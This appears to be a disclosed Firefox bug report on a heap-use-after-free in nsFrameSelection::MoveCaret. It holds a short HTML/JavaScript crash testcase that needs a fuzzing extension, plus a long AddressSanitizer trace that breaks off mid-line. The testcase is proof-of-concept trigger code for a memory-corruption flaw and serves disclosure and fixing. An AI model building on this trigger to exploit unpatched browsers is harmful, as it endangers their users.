heap-use-after-free in nsFrameSelection::MoveCaret
A heap-use-after-free occurs in nsFrameSelection::MoveCaret when a crafted page triggers a caret movement after the selection's frame has been freed by a cycle collection. An attacker could crash the browser's content process, potentially leading to further exploitation.
- Fixed in 10 days
- Paid in 15 days
- Disclosed after 10 days
The latest ASAN build of Firefox crashes when loading the following testcase. The testcase requires the fuzzPriv extension.
cript> function start() { o1=document.createElement('iframe'); o1.src="data:text/html,<div>"; o1.addEventListener('load', fun0,false); document.body.appendChild(o1); } function fun0() { a=o1.contentDocument.documentElement; o91=document.createElement('textarea'); a.appendChild(o91); a.style.position='absolute'; o91.focus(); o1.contentWindow.onresize=fun1; o1.height='-8px'; fuzzPriv.trustedKeyEvent(a,'press',false,false,true,false,35,0); } function fun1() { a.setAttribute('style','right:auto;'); a.animate([{textShadow: ''},{textShadow: '',}],20); fuzzPriv.CC(); fuzzPriv.CC(); } </script>
<body onload="start()"></body>ASAN output:
==19751==ERROR: AddressSanitizer: heap-use-after-free on address 0x6110002f4638 at pc 0x7fc2c18ef7ec bp 0x7fff28c6f7b0 sp 0x7fff28c6f7a8 READ of size 8 at 0x6110002f4638 thread T0 (Web Content) #0 0x7fc2c18ef7eb in nsFrameSelection::MoveCaret(nsDirection, bool, nsSelectionAmount, nsFrameSelection::CaretMovementStyle) /home/worker/workspace/build/src/layout/generic/nsSelection.cpp:972:8 #1 0x7fc2c0ee9be3 in mozilla::SelectionMoveCommands::DoCommand(char const*, nsISupports*) /home/worker/workspace/build/src/editor/libeditor/EditorCommands.cpp:892:14 #2 0x7fc2bf247366 in nsControllerCommandTable::DoCommand(char const*, nsISupports*) /home/worker/workspace/build/src/dom/commandhandler/nsControllerCommandTable.cpp:147:10 #3 0x7fc2bf23dd2a in nsBaseCommandController::DoCommand(char const*) /home/worker/workspace/build/src/dom/commandhandler/nsBaseCommandController.cpp:136:10 #4 0x7fc2c091c3a8 in nsXBLPrototypeHandler::DispatchXBLCommand(mozilla::dom::EventTarget*, nsIDOMEvent*) /home/worker/workspace/build/src/dom/xbl/nsXBLPrototypeHandler.cpp:498:5 #5 0x7fc2c08f2fbf in nsXBLPrototypeHandler::ExecuteHandler(mozilla::dom::EventTarget*, nsIDOMEvent*) /home/worker/workspace/build/src/dom/xbl/nsXBLPrototypeHandler.cpp:221:12 #6 0x7fc2c0938fc8 in nsXBLWindowKeyHandler::WalkHandlersAndExecute(nsIDOMKeyEvent*, nsIAtom*, nsXBLPrototypeHandler*, unsigned int, mozilla::dom::IgnoreModifierState const&, bool, bool*) /home/worker/workspace/build/src/dom/xbl/nsXBLWindowKeyHandler.cpp:755:19 #7 0x7fc2c093359b in nsXBLWindowKeyHandler::WalkHandlersInternal(nsIDOMKeyEvent*, nsIAtom*, nsXBLPrototypeHandler*, bool, bool*) /home/worker/workspace/build/src/dom/xbl/nsXBLWindowKeyHandler.cpp:618:12 #8 0x7fc2c0932f57 in nsXBLWindowKeyHandler::WalkHandlers(nsIDOMKeyEvent*, nsIAtom*) /home/worker/workspace/build/src/dom/xbl/nsXBLWindowKeyHandler.cpp:298:3 #9 0x7fc2c0937705 in nsXBLWindowKeyHandler::HandleEvent(nsIDOMEvent*) /home/worker/workspace/build/src/dom/xbl/nsXBLWindowKeyHandler.cpp:477:10 #10 0x7fc2bf35fe89 in mozilla::EventListenerManager::HandleEventSubType(mozilla::EventListenerManager::Listener*, nsIDOMEvent*, mozilla::dom::EventTarget*) /home/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1123:16 #11 0x7fc2bf361e18 in mozilla::EventListenerManager::HandleEventInternal(nsPresContext*, mozilla::WidgetEvent*, nsIDOMEvent**, mozilla::dom::EventTarget*, nsEventStatus*) /home/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1297:20 #12 0x7fc2bf34c80d in mozilla::EventTargetChainItem::HandleEventTargetChain(nsTArraymozilla::EventTargetChainItem&, mozilla::EventChainPostVisitor&, mozilla::EventDispatchingCallback*, mozilla::ELMCreationDetector&) /home/worker/workspace/build/src/dom/events/EventDispatcher.cpp:489:9 #13 0x7fc2bf34cc14 in mozilla::EventTargetChainItem::HandleEventTargetChain(nsTArraymozilla::EventTargetChainItem&, mozilla::EventChainPostVisitor&, mozilla::EventDispatchingCallback*, mozilla::ELMCreationDetector&) /home/worker/workspace/build/src/dom/events/EventDispatcher.cpp:518:5 #14 0x7fc2bf34fdb7 in mozilla::EventDispatcher::Dispatch(nsISupports*, nsPresContext*, mozilla::WidgetEvent*, nsIDOMEvent*, nsEventStatus*, mozilla::EventDispatchingCallback*, nsTArraymozilla::dom::EventTarget*) /home/worker/workspace/build/src/dom/events/EventDispatcher.cpp:822:9 #15 0x7fc2bf352207 in mozilla::EventDispatcher::DispatchDOMEvent(nsISupports, mozilla::WidgetEvent*, nsIDOMEvent*, nsPresContext*, nsEventStatus*) /home/worker/workspace/build/src/dom/events/EventDispatcher.cpp:891:12 #16 0x7fc2bd6b1cc1 in nsINode::DispatchEvent(nsIDOMEvent*, bool*) /home/worker/workspace/build/src/dom/base/nsINode.cpp:1331:5 #17 0x7fc2bf36d2b4 in mozilla::dom::EventTarget::DispatchEvent(mozilla::dom::Event&, mozilla::dom::CallerType, mozilla::ErrorResult&) /home/worker/workspace/build/src/dom/events/EventTarget.cpp:73:9 #18 0x7fc2beab05a2 in mozilla::dom::EventTargetBinding::dispatchEvent(JSContext*, JS::Handle<JSObject*>, mozilla::dom::EventTarget*, JSJitMethodCallArgs const&) /home/worker/workspace/build/src/obj-firefox/dom/bindings/EventTargetBinding.cpp:974:15 #19 0x7fc2beaad59f in mozilla::dom::EventTargetBinding::genericMethod(JSContext*, unsigned int, JS::Value*) /home/worker/workspace/build/src/obj-firefox/dom/bindings/EventTargetBinding.cpp:1150:13 #20 0x7fc2c4a2917f in CallJSNative /home/worker/workspace/build/src/js/src/jscntxtinlines.h:282:15 #21 0x7fc2c4a2917f in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:448 #22 0x7fc2c4a0fc72 in CallFromStack /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:499:12 #23 0x7fc2c4a0fc72 in Interpret(JSContext*, js::RunState&) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:2954 #24 0x7fc2c49f52ab in js::RunScript(JSContext*, js::RunState&) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:394:12 #25 0x7fc2c4a29496 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:466:15 #26 0x7fc2c4a29b72 in js::Call(JSContext*, JS::HandleJS::Value, JS::HandleJS::Value, js::AnyInvokeArgs const&, JS::MutableHandleJS::Value) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:512:10 #27 0x7fc2c53fea93 in JS_CallFunctionValue(JSContext*, JS::Handle<JSObject*>, JS::HandleJS::Value, JS::HandleValueArray const&, JS::MutableHandleJS::Value) /home/worker/workspace/build/src/js/src/jsapi.cpp:2828:12 #28 0x7fc2bc2d2c39 in xpc::FunctionForwarder(JSContext*, unsigned int, JS::Value*) /home/worker/workspace/build/src/js/xpconnect/src/ExportHelpers.cpp:319:18 #29 0x7fc2c4a2917f in CallJSNative /home/worker/workspace/build/src/js/src/jscntxtinlines.h:282:15 #30 0x7fc2c4a2917f in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:448 #31 0x7fc2c4a0fc72 in CallFromStack /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:499:12 #32 0x7fc2c4a0fc72 in Interpret(JSContext*, js::RunState&) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:2954 #33 0x7fc2c49f52ab in js::RunScript(JSContext*, js::RunState&) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:394:12 #34 0x7fc2c4a29496 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:466:15 #35 0x7fc2c4a29b72 in js::Call(JSContext*, JS::HandleJS::Value, JS::HandleJS::Value, js::AnyInvokeArgs const&, JS::MutableHandleJS::Value) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:512:10 #36 0x7fc2c540084c in JS::Call(JSContext*, JS::HandleJS::Value, JS::HandleJS::Value, JS::HandleValueArray const&, JS::MutableHandleJS::Value) /home/worker/workspace/build/src/js/src/jsapi.cpp:2887:12 #37 0x7fc2be9da202 in mozilla::dom::EventListener::HandleEvent(JSContext*, JS::HandleJS::Value, mozilla::dom::Event&, mozilla::ErrorResult&) /home/worker/workspace/build/src/obj-firefox/dom/bindings/EventListenerBinding.cpp:47:8 #38 0x7fc2bf35fe4e in HandleEvent<mozilla::dom::EventTarget > /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/dom/EventListenerBinding.h:65:12 #39 0x7fc2bf35fe4e in mozilla::EventListenerManager::HandleEventSubType(mozilla::EventListenerManager::Listener, nsIDOMEvent*, mozilla::dom::EventTarget*) /home/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1119 #40 0x7fc2bf361e18 in mozilla::EventListenerManager::HandleEventInternal(nsPresContext*, mozilla::WidgetEvent*, nsIDOMEvent**, mozilla::dom::EventTarget*, nsEventStatus*) /home/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1297:20 #41 0x7fc2bf34c4f3 in mozilla::EventTargetChainItem::HandleEventTargetChain(nsTArraymozilla::EventTargetChainItem&, mozilla::EventChainPostVisitor&, mozilla::EventDispatchingCallback*, mozilla::ELMCreationDetector&) /home/worker/workspace/build/src/dom/events/EventDispatcher.cpp:465:5 #42 0x7fc2bf34fdb7 in mozilla::EventDispatcher::Dispatch(nsISupports*, nsPresContext*, mozilla::WidgetEvent*, nsIDOMEvent*, nsEventStatus*, mozilla::EventDispatchingCallback*, nsTArraymozilla::dom::EventTarget*) /home/worker/workspace/build/src/dom/events/EventDispatcher.cpp:822:9 #43 0x7fc2bd289b5e in nsGlobalWindow::PostHandleEvent(mozilla::EventChainPostVisitor&) /home/worker/workspace/build/src/dom/base/nsGlobalWindow.cpp:3804:7 #44 0x7fc2bf34c605 in PostHandleEvent /home/worker/workspace/build/src/dom/events/EventDispatcher.cpp:416:3 #45 0x7fc2bf34c605 in mozilla::EventTargetChainItem::HandleEventTargetChain(nsTArraymozilla::EventTargetChainItem&, mozilla::EventChainPostVisitor&, mozilla::EventDispatchingCallback, mozilla::ELMCreationDetector&) /home/worker/workspace/build/src/dom/events/EventDispatcher.cpp:468 #46 0x7fc2bf34cc14 in mozilla::EventTargetChainItem::HandleEventTargetChain(nsTArraymozilla::EventTargetChainItem&, mozilla::EventChainPostVisitor&, mozilla::EventDispatchingCallback*, mozilla::ELMCreationDetector&) /home/worker/workspace/build/src/dom/events/EventDispatcher.cpp:518:5 #47 0x7fc2bf34fdb7 in mozilla::EventDispatcher::Dispatch(nsISupports*, nsPresContext*, mozilla::WidgetEvent*, nsIDOMEvent*, nsEventStatus*, mozilla::EventDispatchingCallback*, nsTArraymozilla::dom::EventTarget*) /home/worker/workspace/build/src/dom/events/EventDispatcher.cpp:822:9 #48 0x7fc2c15b7616 in nsDocumentViewer::LoadComplete(nsresult) /home/worker/workspace/build/src/layout/base/nsDocumentViewer.cpp:1043:7 #49 0x7fc2c3a8a6ca in nsDocShell::EndPageLoad(nsIWebProgress, nsIChannel*, nsresult) /home/worker/workspace/build/src/docshell/base/nsDocShell.cpp:7642:5 #50 0x7fc2c3a86384 in nsDocShell::OnStateChange(nsIWebProgress*, nsIRequest*, unsigned int, nsresult) /home/worker/workspace/build/src/docshell/base/nsDocShell.cpp:7436:7 #51 0x7fc2c3a8dd8f in non-virtual thunk to nsDocShell::OnStateChange(nsIWebProgress*, nsIRequest*, unsigned int, nsresult) /home/worker/workspace/build/src/docshell/base/nsDocShell.cpp:7333:13 #52 0x7fc2bc57e9d0 in nsDocLoader::DoFireOnStateChange(nsIWebProgress*, nsIRequest*, int&, nsresult) /home/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:1258:3 #53 0x7fc2bc57d968 in nsDocLoader::doStopDocumentLoad(nsIRequest*, nsresult) /home/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:842:5 #54 0x7fc2bc57a6c6 in nsDocLoader::DocLoaderIsEmpty(bool) /home/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:732:9 #55 0x7fc2bc57c7c4 in nsDocLoader::OnStopRequest(nsIRequest*, nsISupports*, nsresult) /home/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:614:5 #56 0x7fc2bc57d37c in non-virtual thunk to nsDocLoader::OnStopRequest(nsIRequest*, nsISupports*, nsresult) /home/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:470:14 #57 0x7fc2bacc7c2b in mozilla::net::nsLoadGroup::RemoveRequest(nsIRequest*, nsISupports*, nsresult) /home/worker/workspace/build/src/netwerk/base/nsLoadGroup.cpp:634:18 #58 0x7fc2bd5ea76b in nsDocument::DoUnblockOnload() /home/worker/workspace/build/src/dom/base/nsDocument.cpp:8863:7 #59 0x7fc2bd5ea30b in nsDocument::UnblockOnload(bool) /home/worker/workspace/build/src/dom/base/nsDocument.cpp:8789:9 #60 0x7fc2bd5c033c in nsDocument::DispatchContentLoadedEvents() /home/worker/workspace/build/src/dom/base/nsDocument.cpp:5294:3 #61 0x7fc2bd690062 in applyImpl<nsDocument, void (nsDocument::)()> /home/worker/workspace/build/src/obj-firefox/dist/include/nsThreadUtils.h:855:12 #62 0x7fc2bd690062 in apply<nsDocument, void (nsDocument::)()> /home/worker/workspace/build/src/obj-firefox/dist/include/nsThreadUtils.h:861 #63 0x7fc2bd690062 in mozilla::detail::RunnableMethodImpl<nsDocument*, void (nsDocument::)(), true, false>::Run() /home/worker/workspace/build/src/obj-firefox/dist/include/nsThreadUtils.h:890 #64 0x7fc2baad4632 in mozilla::ValidatingDispatcher::Runnable::Run() /home/worker/workspace/build/src/xpcom/threads/Dispatcher.cpp:257:21 #65 0x7fc2bab091b2 in nsThread::ProcessNextEvent(bool, bool) /home/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1264:7 #66 0x7fc2bab05a60 in NS_ProcessNextEvent(nsIThread*, bool) /home/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:389:10 #67 0x7fc2bb917cbf in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /home/worker/workspace/build/src/ipc/glue/MessagePump.cpp:96:21 #68 0x7fc2bb8898c8 in RunInternal /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:238:3 #69 0x7fc2bb8898c8 in RunHandler /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:231 #70 0x7fc2bb8898c8 in MessageLoop::Run() /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:211 #71 0x7fc2c0d75bcf in nsBaseAppShell::Run() /home/worker/workspace/build/src/widget/nsBaseAppShell.cpp:156:3 #72 0x7fc2c45b6467 in XRE_RunAppShell() /home/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:854:12 #73 0x7fc2bb8898c8 in RunInternal /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:238:3 #74 0x7fc2bb8898c8 in RunHandler /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:231 #75 0x7fc2bb8898c8 in MessageLoop::Run() /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:211 #76 0x7fc2c45b5e69 in XRE_InitChildProcess(int, char**, XREChildData const*) /home/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:686:7 #77 0x4e01b6 in content_process_main /home/worker/workspace/build/src/browser/app/../../ipc/contentproc/plugin-container.cpp:64:19 #78 0x4e01b6 in main /home/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:286 #79 0x7fc2d5fc382f in __libc_start_main /build/glibc-t3gR2i/glibc-2.23/csu/../csu/libc-start.c:291 #80 0x41c3d8 in _start (/home/nils/fuzzer3/firefox/firefox+0x41c3d8)
0x6110002f4638 is located 184 bytes inside of 232-byte region [0x6110002f4580,0x6110002f4668) freed by thread T0 (Web Content) here: #0 0x4b2b2b in __interceptor_free /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:38:3 #1 0x7fc2ba9a7344 in SnowWhiteKiller::~SnowWhiteKiller() /home/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2664:9 #2 0x7fc2ba9a6f36 in nsCycleCollector::FreeSnowWhite(bool) /home/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2839:3 #3 0x7fc2ba9ae2f5 in nsCycleCollector::BeginCollection(ccType, nsICycleCollectorListener*) /home/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:3839:3 #4 0x7fc2ba9adab0 in nsCycleCollector::Collect(ccType, js::SliceBudget&, nsICycleCollectorListener*, bool) /home/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:3661:9 #5 0x7fc2ba9b0994 in nsCycleCollector_collect(nsICycleCollectorListener*) /home/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:4157:3 #6 0x7fc2bd6cea00 in nsJSContext::CycleCollectNow(nsICycleCollectorListener*, int) /home/worker/workspace/build/src/dom/base/nsJSEnvironment.cpp:1452:3 #7 0x7fc2bd2273fd in nsDOMWindowUtils::CycleCollect(nsICycleCollectorListener*, int) /home/worker/workspace/build/src/dom/base/nsDOMWindowUtils.cpp:1339:3 #8 0x7fc2bab24901 in NS_InvokeByIndex /home/worker/workspace/build/src/xpcom/reflect/xptcall/md/unix/xptcinvoke_asm_x86_64_unix.S:115 #9 0x7fc2bc3941a7 in Invoke /home/worker/workspace/build/src/js/xpconnect/src/XPCWrappedNative.cpp:2010:12 #10 0x7fc2bc3941a7 in Call /home/worker/workspace/build/src/js/xpconnect/src/XPCWrappedNative.cpp:1329 #11 0x7fc2bc3941a7 in XPCWrappedNative::CallMethod(XPCCallContext&, XPCWrappedNative::CallMode) /home/worker/workspace/build/src/js/xpconnect/src/XPCWrappedNative.cpp:1296 #12 0x7fc2bc39bb1b in XPC_WN_CallMethod(JSContext*, unsigned int, JS::Value*) /home/worker/workspace/build/src/js/xpconnect/src/XPCWrappedNativeJSOps.cpp:983:12 #13 0x7fc2c4a2917f in CallJSNative /home/worker/workspace/build/src/js/src/jscntxtinlines.h:282:15 #14 0x7fc2c4a2917f in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:448 #15 0x7fc2c4a0fc72 in CallFromStack /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:499:12 #16 0x7fc2c4a0fc72 in Interpret(JSContext*, js::RunState&) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:2954 #17 0x7fc2c49f52ab in js::RunScript(JSContext*, js::RunState&) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:394:12 #18 0x7fc2c4a29496 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:466:15 #19 0x7fc2c4a29b72 in js::Call(JSContext*, JS::HandleJS::Value, JS::HandleJS::Value, js::AnyInvokeArgs const&, JS::MutableHandleJS::Value) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:512:10 #20 0x7fc2c53fea93 in JS_CallFunctionValue(JSContext*, JS::Handle<JSObject*>, JS::HandleJS::Value, JS::HandleValueArray const&, JS::MutableHandleJS::Value) /home/worker/workspace/build/src/js/src/jsapi.cpp:2828:12 #21 0x7fc2bc2d2c39 in xpc::FunctionForwarder(JSContext*, unsigned int, JS::Value*) /home/worker/workspace/build/src/js/xpconnect/src/ExportHelpers.cpp:319:18 #22 0x7fc2c4a2917f in CallJSNative /home/worker/workspace/build/src/js/src/jscntxtinlines.h:282:15 #23 0x7fc2c4a2917f in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:448 #24 0x7fc2c4a0fc72 in CallFromStack /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:499:12 #25 0x7fc2c4a0fc72 in Interpret(JSContext*, js::RunState&) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:2954 #26 0x7fc2c49f52ab in js::RunScript(JSContext*, js::RunState&) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:394:12 #27 0x7fc2c4a29496 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:466:15 #28 0x7fc2c4a29b72 in js::Call(JSContext*, JS::HandleJS::Value, JS::HandleJS::Value, js::AnyInvokeArgs const&, JS::MutableHandleJS::Value) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:512:10 #29 0x7fc2c56a971c in js::Wrapper::call(JSContext*, JS::Handle<JSObject*>, JS::CallArgs const&) const /home/worker/workspace/build/src/js/src/proxy/Wrapper.cpp:165:12 #30 0x7fc2c56603ae in js::CrossCompartmentWrapper::call(JSContext*, JS::Handle<JSObject*>, JS::CallArgs const&) const /home/worker/workspace/build/src/js/src/proxy/CrossCompartmentWrapper.cpp:353:14 #31 0x7fc2c5689189 in js::Proxy::call(JSContext*, JS::Handle<JSObject*>, JS::CallArgs const&) /home/worker/workspace/build/src/js/src/proxy/Proxy.cpp:464:12 #32 0x7fc2c568bab4 in js::proxy_Call(JSContext*, unsigned int, JS::Value*) /home/worker/workspace/build/src/js/src/proxy/Proxy.cpp:716:12 #33 0x7fc2c4a29227 in CallJSNative /home/worker/workspace/build/src/js/src/jscntxtinlines.h:282:15 #34 0x7fc2c4a29227 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:436 #35 0x7fc2c4a29b72 in js::Call(JSContext*, JS::HandleJS::Value, JS::HandleJS::Value, js::AnyInvokeArgs const&, JS::MutableHandleJS::Value) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:512:10 #36 0x7fc2c540084c in JS::Call(JSContext*, JS::HandleJS::Value, JS::HandleJS::Value, JS::HandleValueArray const&, JS::MutableHandleJS::Value) /home/worker/workspace/build/src/js/src/jsapi.cpp:2887:12
previously allocated by thread T0 (Web Content) here: #0 0x4b2e4b in malloc /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:52:3 #1 0x4e11bd in moz_xmalloc /home/worker/workspace/build/src/memory/mozalloc/mozalloc.cpp:83:17 #2 0x7fc2bf7c05f0 in operator new /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/mozalloc.h:194:12 #3 0x7fc2bf7c05f0 in nsTextEditorState::BindToFrame(nsTextControlFrame*) /home/worker/workspace/build/src/dom/html/nsTextEditorState.cpp:1170 #4 0x7fc2c1a0d804 in nsTextControlFrame::CreateAnonymousContent(nsTArraynsIAnonymousContentCreator::ContentInfo&) /home/worker/workspace/build/src/layout/forms/nsTextControlFrame.cpp:337:17 #5 0x7fc2c1560d07 in nsCSSFrameConstructor::GetAnonymousContent(nsIContent*, nsIFrame*, nsTArraynsIAnonymousContentCreator::ContentInfo&) /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:4224:17 #6 0x7fc2c1553c72 in nsCSSFrameConstructor::ProcessChildren(nsFrameConstructorState&, nsIContent*, nsStyleContext*, nsContainerFrame*, bool, nsFrameItems&, bool, PendingBinding*, nsIFrame*) /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:10979:3 #7 0x7fc2c156a19b in nsCSSFrameConstructor::ConstructFrameFromItemInternal(nsCSSFrameConstructor::FrameConstructionItem&, nsFrameConstructorState&, nsContainerFrame*, nsFrameItems&) /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:4079:9 #8 0x7fc2c1575236 in nsCSSFrameConstructor::ConstructFramesFromItem(nsFrameConstructorState&, nsCSSFrameConstructor::FrameConstructionItemList::Iterator&, nsContainerFrame*, nsFrameItems&) /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:6220:3 #9 0x7fc2c1554ab4 in ConstructFramesFromItemList /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:10760:5 #10 0x7fc2c1554ab4 in nsCSSFrameConstructor::ProcessChildren(nsFrameConstructorState&, nsIContent*, nsStyleContext*, nsContainerFrame*, bool, nsFrameItems&, bool, PendingBinding*, nsIFrame*) /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:11064 #11 0x7fc2c155e634 in nsCSSFrameConstructor::ConstructBlock(nsFrameConstructorState&, nsIContent*, nsContainerFrame*, nsContainerFrame*, nsStyleContext*, nsContainerFrame**, nsFrameItems&, nsIFrame*, PendingBinding*) /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:12081:3 #12 0x7fc2c155a0c4 in nsCSSFrameConstructor::ConstructDocElementFrame(mozilla::dom::Element*, nsILayoutHistoryState*) /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:2643:5 #13 0x7fc2c157ec30 in nsCSSFrameConstructor::ContentRangeInserted(nsIContent*, nsIContent*, nsIContent*, nsILayoutHistoryState*, bool, TreeMatchContext*) /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:7837:7 #14 0x7fc2c1576672 in ContentInserted /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:7722:10 #15 0x7fc2c1576672 in nsCSSFrameConstructor::RecreateFramesForContent(nsIContent*, bool, nsCSSFrameConstructor::RemoveFlags, nsIContent**) /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:9826 #16 0x7fc2c14a5df9 in mozilla::RestyleManager::ProcessRestyledFrames(nsStyleChangeList&) /home/worker/workspace/build/src/layout/base/RestyleManager.cpp:1516:7 #17 0x7fc2c148a3ba in mozilla::GeckoRestyleManager::ComputeAndProcessStyleChange(nsIFrame*, nsChangeHint, mozilla::RestyleTracker&, nsRestyleHint, mozilla::RestyleHintData const&) /home/worker/workspace/build/src/layout/base/GeckoRestyleManager.cpp:3516:3 #18 0x7fc2c1489874 in mozilla::GeckoRestyleManager::RestyleElement(mozilla::dom::Element*, nsIFrame*, nsChangeHint, mozilla::RestyleTracker&, nsRestyleHint, mozilla::RestyleHintData const&) /home/worker/workspace/build/src/layout/base/GeckoRestyleManager.cpp:152:5 #19 0x7fc2c151787e in ProcessOneRestyle /home/worker/workspace/build/src/layout/base/RestyleTracker.cpp:95:5 #20 0x7fc2c151787e in mozilla::RestyleTracker::DoProcessRestyles() /home/worker/workspace/build/src/layout/base/RestyleTracker.cpp:262 #21 0x7fc2c148dbef in ProcessRestyles /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/GeckoRestyleManager.h:386:7 #22 0x7fc2c148dbef in mozilla::GeckoRestyleManager::ProcessPendingRestyles() /home/worker/workspace/build/src/layout/base/GeckoRestyleManager.cpp:505 #23 0x7fc2c14dae10 in ProcessPendingRestyles /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/RestyleManagerInlines.h:44:3 #24 0x7fc2c14dae10 in mozilla::PresShell::DoFlushPendingNotifications(mozilla::ChangesToFlush) /home/worker/workspace/build/src/layout/base/PresShell.cpp:4184 #25 0x7fc2bd5e351e in FlushPendingNotifications /home/worker/workspace/build/src/obj-firefox/dist/include/nsIPresShell.h:599:5 #26 0x7fc2bd5e351e in nsDocument::FlushPendingNotifications(mozilla::FlushType) /home/worker/workspace/build/src/dom/base/nsDocument.cpp:8007 #27 0x7fc2bd62bd6e in nsFocusManager::CheckIfFocusable(nsIContent*, unsigned int) /home/worker/workspace/build/src/dom/base/nsFocusManager.cpp:1550:3 #28 0x7fc2bd62840c in nsFocusManager::SetFocusInner(nsIContent*, int, bool, bool) /home/worker/workspace/build/src/dom/base/nsFocusManager.cpp:1180:41 #29 0x7fc2bd62b7ae in nsFocusManager::SetFocus(nsIDOMElement*, unsigned int) /home/worker/workspace/build/src/dom/base/nsFocusManager.cpp:484:3 #30 0x7fc2bd3b892f in mozilla::dom::Element::Focus(mozilla::ErrorResult&) /home/worker/workspace/build/src/dom/base/Element.cpp:311:14 #31 0x7fc2bec55ce8 in mozilla::dom::HTMLElementBinding::focus(JSContext*, JS::Handle<JSObject*>, nsGenericHTMLElement*, JSJitMethodCallArgs const&) /home/worker/workspace/build/src/obj-firefox/dom/bindings/HTMLElementBinding.cpp:462:3 #32 0x7fc2bef5b617 in mozilla::dom::GenericBindingMethod(JSContext*, unsigned int, JS::Value*) /home/worker/workspace/build/src/dom/bindings/BindingUtils.cpp:2953:13 #33 0x7fc2c4a2917f in CallJSNative /home/worker/workspace/build/src/js/src/jscntxtinlines.h:282:15 #34 0x7fc2c4a2917f in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:448 #35 0x7fc2c4a29b72 in js::Call(JSContext*, JS::HandleJS::Value, JS::HandleJS::Value, js::AnyInvokeArgs const&, JS::MutableHandleJS::Value) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:512:10 #36 0x7fc2c56a971c in js::Wrapper::call(JSContext*, JS::Handle<JSObject*>, JS::CallArgs const&) const /home/worker/workspace/build/src/js/src/proxy/Wrapper.cpp:165:12 #37 0x7fc2c56603ae in 